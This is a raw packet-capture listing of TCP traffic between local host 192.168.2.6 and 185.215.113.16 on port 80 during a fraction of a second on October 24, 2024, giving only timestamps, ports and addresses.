Oct 24, 2024 09:08:13.910624981 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.910665035 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.910685062 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.910701990 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.910721064 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.910733938 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.910890102 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.954022884 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.954066038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.954104900 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.954106092 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.954135895 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.954143047 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.954158068 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.954178095 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.954216003 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.954219103 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.954240084 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.954299927 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.954312086 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.954356909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.954363108 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.954395056 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.954410076 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.954451084 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.954456091 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.954485893 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.954509020 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.954523087 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.954533100 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.954575062 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.987047911 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.987128019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.987145901 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.987163067 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.987200975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.987204075 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.987242937 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.987257957 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.987265110 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.987296104 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.987334967 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.987355947 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.987359047 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.987399101 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.987422943 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.987437010 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.987457991 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.987476110 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.987505913 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.987512112 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.987526894 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.987571001 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.987600088 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.987657070 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.987663031 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.987689972 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.987711906 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.987746000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.987749100 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.987782955 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.987807989 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.987821102 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.987845898 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.987890005 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.987898111 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.987955093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.987958908 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.987993002 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.988018036 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.988049030 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.988050938 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.988085985 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.988111973 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.988123894 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.988149881 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.988182068 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.988312960 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.988380909 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.988382101 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.988421917 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.988439083 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.988478899 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.988502979 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.988516092 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.988524914 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.988552094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.988569975 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.988610029 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.988620996 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.988647938 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.988668919 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.988683939 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.988707066 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.988718987 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.988763094 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.988780975 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.989103079 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.989160061 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.989161015 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.989197969 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.989217043 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.989237070 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.989253998 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.989275932 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.989289999 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.989329100 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.028021097 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.028069019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.028109074 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.028126955 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.028150082 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.028156996 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.028177977 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.028189898 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.028207064 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.028234005 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.028240919 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.028289080 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.070135117 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.070182085 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.070264101 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.070314884 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.071415901 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.071470976 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.071482897 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.071511030 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.071528912 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.071568012 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.071588993 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.071607113 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.071641922 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.071651936 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.071676970 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.071679115 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.071696997 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.071719885 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.071738005 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.071759939 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.071773052 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.071830988 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.071844101 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.071909904 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.072032928 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.072096109 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.104593992 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.104640961 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.104700089 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.104712963 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.104737043 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.104759932 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.104759932 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.104794025 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.104815960 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.104849100 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.104851961 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.104887009 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.104904890 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.104924917 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.104944944 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.104963064 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.104984999 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.104999065 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.105015993 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.105038881 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.105052948 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.105072021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.105110884 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.105134010 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.105149984 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.105173111 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.105201960 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.105212927 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.105241060 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.105253935 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.105267048 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.105293036 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.105304003 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.105330944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.105355978 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.105386972 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.105390072 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.105446100 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.105447054 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.105483055 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.105500937 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.105520964 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.105520964 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.105557919 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.105580091 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.105596066 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.105621099 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.105633020 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.105654001 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.105671883 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.105689049 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.105727911 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.105815887 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.105870962 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.105875969 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.105909109 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.105933905 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.105947971 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.105963945 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.105987072 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.106003046 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.106043100 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.106092930 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.106148958 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.106154919 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.106204033 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.106209993 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.106240988 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.106259108 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.106296062 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.106300116 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.106332064 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.106364965 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.106368065 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.106401920 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.106410980 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.106422901 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.106447935 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.106467962 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.106483936 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.106506109 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.106533051 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.145538092 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.145586967 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.145626068 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.145634890 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.145663023 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.145667076 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.145685911 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.145711899 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.145731926 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.145754099 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.145772934 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.145787954 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.145809889 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.145838976 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.189238071 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.189311981 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.189351082 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.189409018 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.189445972 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.189462900 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.189486027 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.189522982 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.189551115 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.189560890 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.189596891 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.189639091 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.189662933 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.189675093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.189711094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.189726114 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.189749956 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.189795971 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.189846039 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.221733093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.221796036 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.221832037 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.221865892 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.221920013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.221972942 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.221977949 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.222008944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.222049952 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.222064972 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.222069025 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.222101927 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.222121954 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.222140074 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.222181082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.222193956 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.222201109 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.222249031 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.222258091 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.222280979 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.222305059 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.222318888 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.222335100 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.222359896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.222383976 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.222393990 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.222420931 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.222433090 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.222456932 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.222469091 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.222500086 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.222520113 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.222542048 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.222598076 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.222631931 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.222668886 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.222672939 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.222672939 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.222698927 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.222714901 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.222760916 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.222811937 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.222817898 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.222850084 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.222872972 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.222887993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.222908020 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.222927094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.222944975 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.222965956 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.223005056 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.223025084 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.223150969 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.223186970 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.223223925 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.223243952 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.223249912 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.223279953 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.223334074 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.223339081 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.223339081 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.223402977 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.223493099 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.223527908 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.223570108 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.223588943 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.223619938 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.223675966 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.223690987 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.223715067 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.223741055 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.223750114 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.223783016 CEST	49997	80	192.168.2.6	185.215.113.16
